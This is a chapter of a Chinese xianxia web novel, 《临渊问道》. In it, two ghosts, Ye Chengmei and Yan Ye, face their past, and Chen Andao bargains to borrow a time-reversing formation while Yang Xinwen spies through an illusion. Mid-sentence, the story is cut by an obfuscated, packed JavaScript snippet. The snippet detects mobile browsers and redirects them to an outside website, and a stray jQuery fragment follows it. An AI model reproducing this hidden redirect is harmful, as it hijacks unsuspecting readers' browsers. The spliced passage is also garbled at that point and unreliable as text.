51.梦醒
作品:《临渊问道》 “我是怎么死的?”
邪祟相斗?
魇镇陷害?
妖道降灵?
“不……都不是……”叶承楣嗫喏道,“我和为生是……是被几个流民……一刀……捅死的。”
死在他心心念念想保护的那些人手下。
杨心问回过神时,依旧站在原地,站在陈安道身后不远处,像是从未从这桥上离开过,姜崔崔和季铁的尸首还在那里,日头也不过刚上了三竿。
他们像是一起做了个悠长的噩梦,有的是梦中人,有些不过看梦人。杨心问收回了手里的剑,垂眼看着面前黯然失神的叶承楣。
血腥气在沉闷的盛夏晌午里发酵,腐臭和脏器中的酸味四处飘散,叶承楣捂着胸口,似是要干呕,可到底什么也没能吐出来,只是伏在栏杆上,与水中那扭曲歪斜的自己长久地对望。
过了许久,叶承楣才慢慢抬起头。
“为——彦页他,现在何处?”
“被我镇在客栈之中。”
“……我能去看看他吗?”
“请便。”
杨心问见叶承楣捧起了那柄剑,分明腿软得似是站不起来,也不肯拄着剑站起来。好像那不是柄铁剑,而是个易碎的琉璃制品,稍不留神便要叫他弄坏了。
他们默默跟在叶承楣身后回了客栈。
彦页果然还被阵法和傀儡按在地上,他瞧着倒是分外闲适,这般形容落魄,还能哼着不知名的小曲儿抖着腿,见叶承楣走到他面前,也只是略略一顿,而后冷笑道:“你那日说的大话,如今倒是能成了。”
【你今日有恩于我,可我来日还是要将你除去。】
客栈里生着阴湿的霉味儿,正中午的太阳照进来,反倒叫那霉味儿越发扑鼻呛人。
叶承楣持剑的影子让阳光打在了地上,剑尖不偏不倚地落在彦页的胸腔一点。
除魔卫道,乃是吾辈之职。
二十年前的那句话仍在耳边回响,而二十年后的叶承楣只是颓然地低下头,看着地上交织的影子道:“如今我已为祟,早不知杀人几何。除你?我连自己都除不掉。”
彦页冷笑一声:“辗转多年,你他妈还是那么废物。”
叶承楣半分不怒,反倒抬眼冲他笑:“可不是吗。”
他这笑得没有半分气焰,倒是温和得叫人想起了为生。彦页的舌尖滚过了千万句毒言恶语,最终还是硬生生吞了下去。
杨心问自觉半步入魔,无血无泪,如此悲怆感人之景他看得兴致缺缺,憋了这么一会儿已是很给面子。
眼看着他们似乎就要这样相看泪眼,无语凝噎个千八百年,忍不住道:“道完别了吗?”
道完别了是不是就该上路了?
我都在这里困了多久了你们心里有数吗?
叶承楣闻言一怔,随即轻点头,转身看向陈安道:“我夙愿已了半数,待你们出去后,将此事广而告之,我和彦页,以及这人命堆成的阵,便该悉数散去了。”
“你们无辜受累,我……我却无从致歉,到最后还要你们相助,才能将真相大白于天下。”叶承楣阖了阖眼,再不见从前的少年意气。
如许光阴雕刻在他眼底的岁月,哪怕经由岁虚阵翻转颠倒,到底还是如风浪蚀岩,留下了抹不去的痕迹,再加上他蒙昧之间借这阵吞下的人命无数,连那脊背都已经挺不直了。
“有劳……二位道友除祟了。”
“不必。”陈安道说,“我还没打算除了你们。”
……
“……啊?”
叶承楣痴傻的眼神倒是跟当年一模一样:“你、你不必怜我命途多舛,我无意害人,却到底害人无数,能就此将歇于我来说也是解脱。”
“阁下多虑了,在下不是在体念二位。”陈安道抬手打断,“此地离长明宗极近,前脚阵散,后脚他们便会下山拿人,我们怕是没法活着出这平罡城。”
叶承楣结巴道:“那、那等你们回了宗门再昭雪也不迟……”
陈安道抬眼道:“若是远离此地再散播消息,待有人能前来查证时,此阵早就烟消云散,什么证据都不曾留下,阁下不会觉得我二人能空口指证长明宗和季家吧。”
显然叶承楣真是这么觉得的。
“况且,虽然此岁虚之阵并非长明宗要的三元醮,但在此阵成了之后,长明宗便不曾再大肆掳人做祭品,如若除了你们,长明宗又重操旧业,岂不是妄造杀孽?”
“可、可是维持岁虚阵也需生魂来祭……”
“阁下这些年吃的也够多了,眼下便是戒些口,维持个十几年应当也不难。”
叶承楣不解道:“可、可你……你到底想干什么?”
陈安道轻抬了下指尖,让那傀儡松开了牵制,他没看叶承楣,而是看向彦页道:“岁虚阵成阵不易。”
“不知二位可否借在下一用?”
//
杨心问面色不虞地蹲在门槛边,和同样蹲在门边的叶承楣宛如一对不大吉利的石狮子。
镇宅不太靠谱,看门勉强凑合,一脸倒霉相辟邪不成,退敌倒是颇具威慑。
“你说他们要聊多久?”叶承楣抱着剑喃喃道,“为何不让我们进去听?”
他自以为和杨心问同病相怜,不曾想正戳中了杨心问的痛处,便听杨心问阴阳怪气道:“大人说话,小孩儿哪配上桌?”
叶承楣:“可我年纪不小了啊。”
杨心问嗤笑:“瞧不出来。”
二人就在那儿等了一个时辰,房门才从里面打开了。陈安道从里面出来,告诉杨心问再休整一晚便出发,杨心问发蔫地点头,满脸写着不高兴。
陈安道见他这般神色,大发慈悲道:“今晚不必背书了。”
杨心问有气无力:“哦。”
眼看收效甚微,陈安道不得不丧权辱国道:“回宗门之前的这些日子,且先休息,都不必看书了。”
“好。”杨心问宠辱不惊,“师兄大义。”
自觉仁至义尽的陈安道抬脚边走,后头受了他大恩惠的杨心问却扭头看向叶承楣,忽而计上心头来。
“喂,这岁虚阵不是归你管的吗?”
叶承楣以为他在讽刺他成祟害人之事,面色惨白道:“确实如此。”
“那你能不能单单让我看看这房间里刚才发生的事?”
“自然可以。”叶承楣说完才反应过来,“你要做什么?”
杨心问打了鸡血般跳起来,把叶承楣推进了房间里,也不管那边还有个被镇住的魇镇,催促他道:“让我瞧瞧他们刚才说了什么!”
叶承楣有几分犹豫:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12595081|132469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们既然赶我们出去,自然是有他们的理由的。”
“他们有他们的理由,我们有我们的道理,难道你要一辈子当个被护在羽翼下的小鸡仔吗,你要一辈子都这样糊糊涂涂地收人庇护吗!”
杨心问字字铿锵,忽悠得叶承楣不着五六。还在阵里不曾被放出来的魇镇见状抱臂冷笑,一脸嘲弄,也不知是想到了什么,看向杨心问的眼神格外冷漠。
“你说得对。”叶承楣看了眼彦页,又看了眼自己腰间的佩剑,“我是该活得明白些了。”
杨心问奸计得逞,面上却不露,还嘱咐叶承楣单单给他看些幻境便可,不然他们藏得麻烦。
话音刚落,他便觉得周身一轻。
周围涌上一股迷雾,叫他有些许困意,但是自那迷雾深处却又传来了人声,叫杨心问强打起精神循声而去。
不知走了多久,也不知过了多久,他走到了迷雾的尽头。
陈安道坐在桌边,给阵中的彦页倒了杯水。
“你可别给我倒茶。”彦页敛着眼道:“闻着那味儿我都头疼。”
“白水罢了。”
虽然是白水,但彦页也没喝。
“于明仙人张若朝主事三元醮的事宜。”陈安道单刀直入,“要成这岁虚的‘阳关教’又是何人主事?”
外头日头正毒,屋里却是潮气裹着霉气发酵,尘埃密实地压在墙角的青苔上,连落入其中发烫的光线也像是沾上了不干不净的阴霾。
彦页避开那光线站着。
“你倒是不客气。”彦页说,“只是我为什么要帮你?”
陈安道兀自将洗杯子的水倒在了地上:“自然是有利可图。”
“有利可图?”彦页耸了耸肩,“你不会让我跑了,眼下又不杀叶承楣,你对我既没危害也没益处,拿什么跟我谈?”
“就拿叶公子身上的拘魂锁。”
像是不欲与他兜圈子,陈安道抬眼看向彦页,恰好捉住了他眼里一霎的动摇。
“拘魂锁能拘魂,但不能养魂。”陈安道说,“在这魔气深重之地,你们是什么也养不出来的。”
彦页脸上似笑非笑的表情淡了。
“你们二人无论缘由,到底是杀人无数,我不能将此事轻拿轻放,来日必定要有个了断。”陈安道往洗净的杯子里注水,“但为生至死不曾枉杀一人,一个清清白白的剑灵,我还是保得下来的。”
水渍渗进了地缝之中,留下了一滩更深的颜色。
彦页猛地撞上了阵眼!
“清清白白?好一个清清白白,修仙的就是厉害,清白二字不过是你们一张嘴的事罢了!”
“说得这般惨烈。”陈安道寒声,“阁下莫不是觉得自己冤枉了?”
“我不冤枉,我怎么会冤枉?我做梦都想着杀人——可叶承楣屁事儿干不成,祟要吃人,天经地义,他身前身后过得一塌糊涂,不干不净的罪名你也要往他脑袋上安!”
杨心问见旁边的叶承楣闻言神色恍然,担心他一下没把持住把幻境给撤了,忙上前扶了他一下。
“我无意评判此中对错,此事日后也并非由我来定夺。”
“好,那便说些你能定夺的。”彦页的话音里透出比霉点更为阴湿的恶毒来,“你说我们这群邪祟不干净,那你那成魔的好师弟又如何呢?”

